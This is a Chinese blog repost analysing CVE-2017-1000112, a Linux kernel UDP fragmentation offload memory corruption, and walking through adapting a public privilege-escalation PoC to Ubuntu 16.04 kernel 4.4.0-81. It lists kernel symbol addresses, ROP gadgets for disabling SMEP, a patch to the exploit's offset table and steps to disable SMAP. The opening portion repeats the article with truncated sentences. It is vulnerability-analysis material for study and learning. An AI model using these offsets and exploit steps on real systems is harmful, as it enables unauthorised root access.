CVE-2017-1000112浅析-linux内核提权漏洞
2018-01-28 21:56
1896 查看
本文转载自
Adapting the POC for CVE-2017-1000112 to Other Kernels
Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112
网卡的offload技术允许协议栈传输大于以太网最大传输单元(maximum transmission unit,MTU)的数据包,默认情况下MTU是1500字节。当启用offload时,内核将把多个数据包组装成一个大数据包并将其传递给硬件,硬件处理IP分片并将其分割成MTU大小的包。这种技术经常在高速网络接口中使用来提高吞吐量,因为UFO可以发送大的UDP数据包。Linux内核可以利用各种网卡的Segmentation Offload功能。
TCP Segmentation Offload - TSO
UDP Fragmentation Offload - UFO
IPIP, SIT, GRE, and UDP Tunnel Offloads
Generic Segmentation Offload - GSO
Generic Receive Offload - GRO
Partial Generic Segmentation Offload - GSO_PARTIAL
要在内核中构建UFO数据包,我们可以采取以下两种方法之一。
- 使用
- 调用send/sendto/sendmsg时使用
该漏洞是用第二种方法触发的。在内核中,
函数
在上图中,
当调用完成并且创建了新的套接字缓冲区时,用户数据被复制到分片中,共享info结构被更新为分片信息,如下图所示。新创建的
下一步POC通过设置选项
接下来是损坏的
可以通过在一个大缓冲区末尾简单地创建一个伪造的
主机:ubuntu17.10 amd64 desktop
虚拟机:http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img
POC:https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
首先把虚拟机安装好之后4.4.0-81版本的内核。
sudo apt install linux-image-4.4.0-81-generic
因为原来的POC没有适配这个版本的内核,所以现在对该版本的内核进行适配。
重启设备之后然后寻找下列内核函数的地址:
现在我们需要内核符号来找gadget。在http://ddebs.ubuntu.com/pool/main/l/linux/上下载
根据POC,我们需要的gadget如下。
内核4.4.0-81并没有启用KASLR,所以先不考虑这个问题。使用我们新得到的地址来更新POC,以添加对Ubuntu 16.04的4.4.0内核(xenial)的支持。
接下来就可以在虚拟机上测试POC了。因为原来的POC没有考虑SMAP,所以我们需要把SMAP关了。sudo gedit /etc/default/grub在
测试成功,下面开始调试。先改一下虚拟机的vmx文件。
我们已经有了带有内核符号的二进制文件,现在还需要源代码。
压缩包在/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2,解压,进入内核代码目录/usr/src/linux-source-4.4.0/linux-source-4.4.0启动gdb。
如前所述,
Adapting the POC for CVE-2017-1000112 to Other Kernels
Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112
前言
Andrey Konovalov最近披露了他通过syzcaller fuzzing在Linux网络子系统内部发现的本地提权漏洞。在oss–sec的邮件中Konovalov写道:当构建一个带有MSG_MORE的UFO包时,__ip_append_data()调用ip_ufo_append_data()。然而在两个send()调用之间,append路径可以从UFO切换到非UFO,这会导致内存破坏。 这个bug在Commit 85f1bd9中被修复。网卡的offload技术允许协议栈传输大于以太网最大传输单元(maximum transmission unit,MTU)的数据包,默认情况下MTU是1500字节。当启用offload时,内核将把多个数据包组装成一个大数据包并将其传递给硬件,硬件处理IP分片并将其分割成MTU大小的包。这种技术经常在高速网络接口中使用来提高吞吐量,因为UFO可以发送大的UDP数据包。Linux内核可以利用各种网卡的Segmentation Offload功能。
TCP Segmentation Offload - TSO
UDP Fragmentation Offload - UFO
IPIP, SIT, GRE, and UDP Tunnel Offloads
Generic Segmentation Offload - GSO
Generic Receive Offload - GRO
Partial Generic Segmentation Offload - GSO_PARTIAL
漏洞原理
要在内核中构建UFO数据包,我们可以采取以下两种方法之一。
- 使用
UDP_CORK套接字选项,该选项告诉内核将此套接字上的所有数据累加到一个diagram中,在该选项被禁用之后再传输;
- 调用send/sendto/sendmsg时使用
MSG_MORE标志,告诉内核将此套接字上的所有数据累加到单个diagram中,在未指定此标志的调用中发送。
该漏洞是用第二种方法触发的。在内核中,
udp_sendmsg函数负责构造UDP数据包并将其发送到下一层。以下代码显示了用户程序使用
UDP_CORK套接字选项或在调用send/sendto/sendmsg时使用
MSG_MORE标志时启用的UDP cork函数的简单实现。启用UDP cork时,会调用
ip_append_data函数将多个数据包累积为单个大数据包。
函数
ip_append_data是
__ip_append_data的封装,它通过分配一个新的套接字缓冲区来存储传递给它的数据或者在套接字被塞住时将数据附加到现有的数据来管理套接字缓冲区。这个函数执行的一个重要任务是处理UFO。套接字缓冲区在套接字的发送队列中进行管理。在塞住套接字的情况下,队列中有一个可以添加附加数据的入口。数据位于发送队列中,直到
udp_sendmsg调用
udp_push_pending_frames,
udp_push_pending_frames完成套接字缓冲并调用
udp_send_skb。Linux内核将数据包存储在结构
sk_buff(套接字缓冲区)中,所有网络层都使用它来存储它们的头部,有关用户数据的信息以及其它内部信息。
在上图中,
sk_buff的head,data,tail和end指向存储协议头部和用户数据的内存的边界。head和end指向缓冲区空间的开始和结束。data和tail指向空间内的用户数据的开始和结束。紧接在end后面,结构
skb_shared_info包含IP分片的重要信息。如前面的POC中所示,当第一次调用send时包含
MSG_MORE标志,
__ip_append_data通过调用
ip_ufo_append_data创建一个新的套接字缓冲区,如下面的代码所示。
当调用完成并且创建了新的套接字缓冲区时,用户数据被复制到分片中,共享info结构被更新为分片信息,如下图所示。新创建的
sk_buff被放入队列中。
下一步POC通过设置选项
SO_NO_CHECK来更新套接字以不计算UDP上的校验和,这将覆盖套接字结构的
sk->sk_no_check_tx成员。在
__ip_append_data里面这个变量作为调用
ip_ufo_append_data之前的一个条件被检查。在POC第二次调用send的过程中,在
__ip_append_data内部采用非UFO路径,该路径进入分片长度计算循环。在循环的第一次迭代期间,副本的值变为负值,这会触发新的套接字缓冲区分配。另外分片计算超过MTU并触发分片。这会导致通过使用
skb_copy_and_csum_bits函数将第一个send创建的
sk_buff复制到新分配的
sk_buff。这将从源缓冲区中复制指定数量的字节到目标
sk_buff并计算校验和。调用长度大于新创建的
sk_buff边界限制的
skb_copy_and_csum_bits会覆盖套接字缓冲区之外的数据,并破坏之前为
sk_buff的
skb_shared_info结构。
接下来是损坏的
skb_shared_info结构。地址0xffff88003a4ca900处的内存是新创建的
sk_buff,end=1728,其中分片被触发。
可以通过在一个大缓冲区末尾简单地创建一个伪造的
skb_shared_info结构并将回调成员设置为shellcode来转移到用户模式的shellcode。第二个send会触发套接字缓冲区的超出边界条件,用用户模式shellcode地址覆盖
skb_shared_info-> destructor_arg,它在内核内存释放
sk_buff之前被调用。
调试过程
接下来我们通过调试进一步学习如何对已有的POC进行改造。主机:ubuntu17.10 amd64 desktop
虚拟机:http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img
POC:https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
首先把虚拟机安装好之后4.4.0-81版本的内核。
sudo apt install linux-image-4.4.0-81-generic
因为原来的POC没有适配这个版本的内核,所以现在对该版本的内核进行适配。
重启设备之后然后寻找下列内核函数的地址:
commit_creds、
prepare_kernel_cred、
native_read_cr4_safe和
native_write_cr4。
现在我们需要内核符号来找gadget。在http://ddebs.ubuntu.com/pool/main/l/linux/上下载
linux-image-4.4.0-81-generic-dbgsym_4.4.0-81.104_amd64.ddeb,安装之后在/usr/lib/debug/boot/vmlinux-4.4.0-81-generic。接下来用ROPgadget找内核中的gadget。
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic
根据POC,我们需要的gadget如下。
struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; sudo grep commit_creds /proc/kallsyms 0xffffffff810a2800 T commit_creds uint64_t prepare_kernel_cred; sudo grep prepare_kernel_cred /proc/kallsyms 0xffffffff810a2bf0 T prepare_kernel_cred uint64_t xchg_eax_esp_ret; grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic 0xffffffff8100008a : xchg eax, esp ; ret uint64_t pop_rdi_ret; grep ': pop rdi ; ret' rg-4.4.0-81-generic 0xffffffff813eb4ad : pop rdi ; ret uint64_t mov_dword_ptr_rdi_eax_ret; grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic 0xffffffff81112697 : mov dword ptr [rdi], eax ; ret uint64_t mov_rax_cr4_ret; sudo grep cr4 /proc/kallsyms 0xffffffff8101b9c0 t native_read_cr4_safe uint64_t neg_rax_ret; grep ': neg rax ; ret' rg-4.4.0-81-generic 0xffffffff8140341a : neg rax ; ret uint64_t pop_rcx_ret; grep ': pop rcx ; ret' rg-4.4.0-81-generic 0xffffffff8101de6c : pop rcx ; ret uint64_t or_rax_rcx_ret; grep ': or rax, rcx ; ret' rg-4.4.0-81-generic 0xffffffff8107a453 : or rax, rcx ; ret uint64_t xchg_eax_edi_ret; grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic 0xffffffff81125787 : xchg eax, edi ; ret uint64_t mov_cr4_rdi_ret; sudo grep cr4 /proc/kallsyms 0xffffffff81064580 t native_write_cr4 uint64_t jmp_rcx; grep ': jmp rcx' rg-4.4.0-81-generic 0xffffffff81049ed0 : jmp rcx };
内核4.4.0-81并没有启用KASLR,所以先不考虑这个问题。使用我们新得到的地址来更新POC,以添加对Ubuntu 16.04的4.4.0内核(xenial)的支持。
4.4.0-81.patch --- poc.c 2017-12-21 11:49:17.758164986 -0600 +++ updated.c 2017-12-20 16:21:06.187852954 -0600 @@ -117,6 +117,7 @@ { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, + { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, @@ -326,7 +327,8 @@ strncmp("4.4.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0 && - strncmp("4.8.0", kernels[kernel].version, 5) == 0) + (strncmp("4.4.0", kernels[kernel].version, 5) == 0) || + (strncmp("4.8.0", kernels[kernel].version, 5) == 0)) return get_kernel_addr_xenial(syslog, size); printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
接下来就可以在虚拟机上测试POC了。因为原来的POC没有考虑SMAP,所以我们需要把SMAP关了。sudo gedit /etc/default/grub在
GRUB_CMDLINE_LINUX_DEFAULT后面添加nosmap,保存,sudo update-grub,重启。
测试成功,下面开始调试。先改一下虚拟机的vmx文件。
debugStub.listen.guest64 = "TRUE" debugStub.listen.guest64.remote = "TRUE"
我们已经有了带有内核符号的二进制文件,现在还需要源代码。
wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb
压缩包在/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2,解压,进入内核代码目录/usr/src/linux-source-4.4.0/linux-source-4.4.0启动gdb。
gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic target remote localhost:8864
如前所述,
skb_release_all调用
skb_release_data,
skb_release_data中的
shinfo->destructor_arg被覆盖从而执行shellcode。
相关文章推荐
- CVE-2017-7269 IIS6.0利用MSF远程溢出漏洞提权
- CVE-2017-2370浅析-macos内核提权漏洞
- CVE-2017-1000367:Sudo本地提权漏洞
- CVE-2017-5689(智能Intel产品AMT本地及远程提权漏洞)
- Linux 内核 UFO-非UFO 路径切换内存破坏漏洞的 PoC(CVE-2017-1000112)
- CVE-2017-7269浅析-IIS6.0栈溢出漏洞
- 【漏洞公告】CVE-2017-1000367:Sudo本地提权漏洞
- CVE-2017-11826浅析-word类型混淆漏洞
- 漏洞复现(CVE-2017-12615)
- WordPress曝未经授权的密码重置漏洞(CVE-2017-8295 )
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- struts2升级到2.3.32版本,防止漏洞编号S2-045,CVE编号:cve-2017-5638
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- 震惊!!!潜伏11年的Linux内核提权漏洞曝光
- CVE-2017-11826漏洞利用样本分析
- android提权漏洞CVE-2010-EASY修复【转】
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
- Weblogic(CVE-2017-10271)漏洞复现